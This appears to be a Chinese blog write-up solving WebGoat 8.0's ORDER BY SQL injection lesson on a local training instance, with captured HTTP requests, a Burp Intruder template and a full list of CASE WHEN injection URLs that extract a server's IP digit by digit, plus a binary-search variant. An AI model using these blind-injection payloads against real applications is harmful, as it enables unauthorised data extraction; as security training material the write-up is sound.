★ WebGoat 8.0

下载地址: https://github.com/WebGoat/WebGoat/wiki
WebGoat 官网及使用方法: https://github.com/WebGoat/WebGoat

★ 运行 WebGoat

执行:java -jar webgoat-server-8.0.0.M21.jar
等出现如下log即运行成功:

--- [           main] org.owasp.webgoat.StartWebGoat           : Started StartWebGoat in 27.815 seconds (JVM running for 30.287)

然后,在浏览器中执行:http://127.0.0.1:8080/WebGoat,打开WebGoat网站,注册用户后就可以使用了。
注意:http://127.0.0.1:8080/WebGoat大小写要写对。

其他运行WebGoat的方式,请参考: https://github.com/WebGoat/WebGoat

说明: 我的运行环境是Windows中的cygwin。浏览器是Chrome。

★ Order by 注入

本文所说的 Order by注入的题目在:Injection Flaws -> SQL injection(mitigation) -> 第8页的题目。网址为:
http://127.0.0.1:8080/WebGoat/start.mvc#lesson/SqlInjectionMitigations.lesson/7
在这里插入图片描述
思路在第7页,即利用case when语法来达到sql注入。
语法:select * from users order by (case when (true) then lastname else firstname end)
需要利用的是when (true)中的真假判断。
注意:case语句结尾要有end。

题目要求获取主机名为webgoat-prd的服务器的IP地址,而且题目中提示了Submit 不存在SQL 注入。

此题有些类似于SQL 盲注,需要通过when (true)中的真假来判断IP地址的每一位是多少。下面一步步来说明。

★ 通过HTTP proxy工具截获http请求

我用的是burpsuite的free版,对于这道题是够用了。

需要在Internet Options中设置代理为 127.0.0.1,端口8090(任意指定,不要与现有其他端口冲突)。

然后在Burpsuite 的Proxy中设置代理,这个网上有一大堆教程可以参考,这里暂不细写。

抓到的数据包:(按照不同的列排序)

按hostname排序:
GET /WebGoat/SqlInjection/servers?column=hostname HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close

按ip排序
GET /WebGoat/SqlInjection/servers?column=ip HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close

按mac排序
GET /WebGoat/SqlInjection/servers?column=mac HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close

按status排序
GET /WebGoat/SqlInjection/servers?column=status HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=67B417F49820EFE3D57F2AB351603D85
Connection: close

我们自然的联想到 column参数的值就是 order by的参数。

正确的查询语句,可以查询到内容。例如,http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=ip 的结果为:

[ {
  "id" : "2",
  "hostname" : "webgoat-tst",
  "ip" : "192.168.2.1",
  "mac" : "EE:FF:33:44:AB:CD",
  "status" : "online",
  "description" : "Test server"
}, {
  "id" : "3",
  "hostname" : "webgoat-acc",
  "ip" : "192.168.3.3",
  "mac" : "EF:12:FE:34:AA:CC",
  "status" : "offline",
  "description" : "Acceptance server"
}, {
  "id" : "1",
  "hostname" : "webgoat-dev",
  "ip" : "192.168.4.0",
  "mac" : "AA:BB:11:22:CC:DD",
  "status" : "online",
  "description" : "Development server"
}, {
  "id" : "4",
  "hostname" : "webgoat-pre-prod",
  "ip" : "192.168.6.4",
  "mac" : "EF:12:FE:34:AA:CC",
  "status" : "offline",
  "description" : "Pre-production server"
} ]

如果不确定的话,我们可以传一个任意值试试,例如,使用http://127.0.0.1:8080/WebGoat/SqlInjection/servers?column=test 访问,浏览器返回的结果为:

Whitelabel Error Page
This application has no explicit mapping for /error, so you are seeing this as a fallback.

Tue Sep 18 22:17:08 GMT+08:00 2018
There was an unexpected error (type=Internal Server Error, status=500).
user lacks privilege or object not found: TEST in statement [select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test]

可以看到,这里的sql语句为: select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by test,我们传给column的值test最终是order by的参数。
这个sql语句也给出了很多信息(所以此题还算不上SQL盲注),例如列名有 id, hostname, ip, mac, status, description, 表名为servers ,并且查询的是status不为’out of order’ 的信息,这也可以让我们推测到,主机名为webgoat-prd的服务器的status是’out of order’ ,所以正常查询是查询不到主机名为webgoat-prd的服务器的。

★ 关键信息: select * from users order by (case when (true) then lastname else firstname)

这是WebGoat的重要提示,而我们要利用的恰恰是when的条件when (true/false)

首先,先把完整的sql语句写出来(根据上面的错误提示):
select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by <注入点>
<注入点>采用case when,所以整个sql语句为:

select id, hostname, ip, mac, status, description from servers where status <> 'out of order' order by case when (true/false) then hostname else id end 

即,如果when中的条件为true,按hostname排序,否则按id排序。
一定要注意:then后面和else后面的列名是合法的,否则sql语句会出错。

所以,结果如果是按hostname排序,就知道when的条件为true,如果是按id排序,那么when的条件为false。这点要记清楚。

★ 构造 when 的条件

直截了当,判断主机名为webgoat-prd的服务器的IP地址的每一位是多少。

获取主机名为webgoat-prd的服务器的IP地址:select ip from servers where hostname='webgoat-prd'

判断第一位是不是1:substring((select ip from servers where hostname='webgoat-prd'),1,1)=1

然后将这个判断放到when的条件中,整个URL为:

127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname=‘webgoat-prd’),1,1)=1) then hostname else id end)
在浏览器中打开,可以看到结果是按hostname排序的,说明IP地址的第一位是1.

然后就可以一位一位的去试了。手动去试比较繁琐,可以使用Burpsuite的Intruder来暴力破解。

★ Burpsuite Intruder 暴力破解

Positions配置如下:
第一个payload是IP的下标,从1开始的,一定要注意是从1开始。下标最大是15(4个三位数加上3个点)。
第二个payload是0~9的值,这里没有判断点号,最后只要取按hostname排序的response就知道那些正确的位是多少了。

注意: 需要将空格写成%20,将单引号写成%27,否则Intruder中跑不过。切记切记。
最好将输入写到浏览器中执行,然后去Burpsuite的Proxy中的HTTP history中看看结果。然后将HTTP请求拷贝过来。这样可以减少出错的机会。

GET /WebGoat/SqlInjection/servers?column=(case%20when%20((select%20substring(ip,§1§,1)%20from%20servers%20where%20hostname=%27webgoat-prd%27)=§2§)%20then%20hostname%20else%20id%20end) HTTP/1.1
Host: 127.0.0.1:8080
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3440.106 Safari/537.36
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: JSESSIONID=DC012A04A1BADE2548747AC22CBE18F9
Connection: close

在正确的response 的comment列写上说明,好过滤。例如:写上yes,然后选中『Show only commented items』,如图:

在这里插入图片描述

最终结果如下:

在这里插入图片描述

可以看到IP地址为 104.130.219.202
Congratulations!

★ SQL语句

when条件为true的所有SQL语句为:(在浏览器中使用,切不可直接拷贝到Burpsuite中)

127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,2,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,3,1) from servers where hostname='webgoat-prd')=4) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,4,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,5,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,6,1) from servers where hostname='webgoat-prd')=3) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,7,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,8,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,9,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,10,1) from servers where hostname='webgoat-prd')=1) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,11,1) from servers where hostname='webgoat-prd')=9) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,12,1) from servers where hostname='webgoat-prd')='.') then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,13,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,14,1) from servers where hostname='webgoat-prd')=0) then hostname else id end)
127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,15,1) from servers where hostname='webgoat-prd')=2) then hostname else id end)

需要说明的是,(select substring(ip,1,1) from servers where hostname='webgoat-prd')=1substring((select ip from servers where hostname = 'webgoat-prd'), 1,1)=1是等价的。
所以上面的SQL语句采用了2种写法。

即这两种写法都是可以的:(在Chrome浏览器上测试通过)
写法一:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when (substring((select ip from servers where hostname = ‘webgoat-prd’), 1,1)=1) then hostname else id end)

写法二:127.0.0.1:8080/WebGoat/SqlInjection/servers?column=(case when ((select substring(ip,1,1) from servers where hostname=‘webgoat-prd’)=1) then hostname else id end)

★ 更进一步

暴力破解使用的HTTP请求太多了,有没有办法在减少HTTP请求的情况下,得到IP地址的每一位?
答案是可以,通过二分搜索的方式可以减少很多无用的HTTP请求。IP地址的每一位取值为0到9. 以IP地址的第一位为例,有效值范围为0到9,第一次可以跟(0+9)/2=4 (取整)比较。
(select substring(ip,1,1) from servers where hostname='webgoat-prd')>4 根据排序的结果,可以知道条件为true还是false。我们已经知道了IP地址第一位为1,即使我们不知道IP地址为1,通过数据是按id排序的,我们也可以知道sql语句的条件是false。比较结果为false,那么有效值范围缩小为0到4.

再跟(0+4)/2=2比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>2,结果为false(因为数据以id排序),有效值范围为0到2。

再跟(0+2)/2=1比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>1结果为false,有效值范围为0和1 。

再跟(0+1)/2= 0比较,(select substring(ip,1,1) from servers where hostname='webgoat-prd')>0,结果为true,即以hostname排序了。有效值只剩下1了。所以知道IP地址的第一位是1了。

对于IP地址的第一位,采用4次HTTP请求就得到了,不用比较10次了。
IP地址的其他位,以此类推。

整个过程,可以写成脚本,方便以后复用。

如果有任何疑问,欢迎留言讨论。

(全文完)

相关系列文章:

WebGoat SQL注入之 Order by注入解题思路
WebGoat SQL注入解题思路
WebGoat SQL盲注 解题思路
WebGoat 8.0 XXE注入 解题思路

Logo

旨在为数千万中国开发者提供一个无缝且高效的云端环境,以支持学习、使用和贡献开源项目。

更多推荐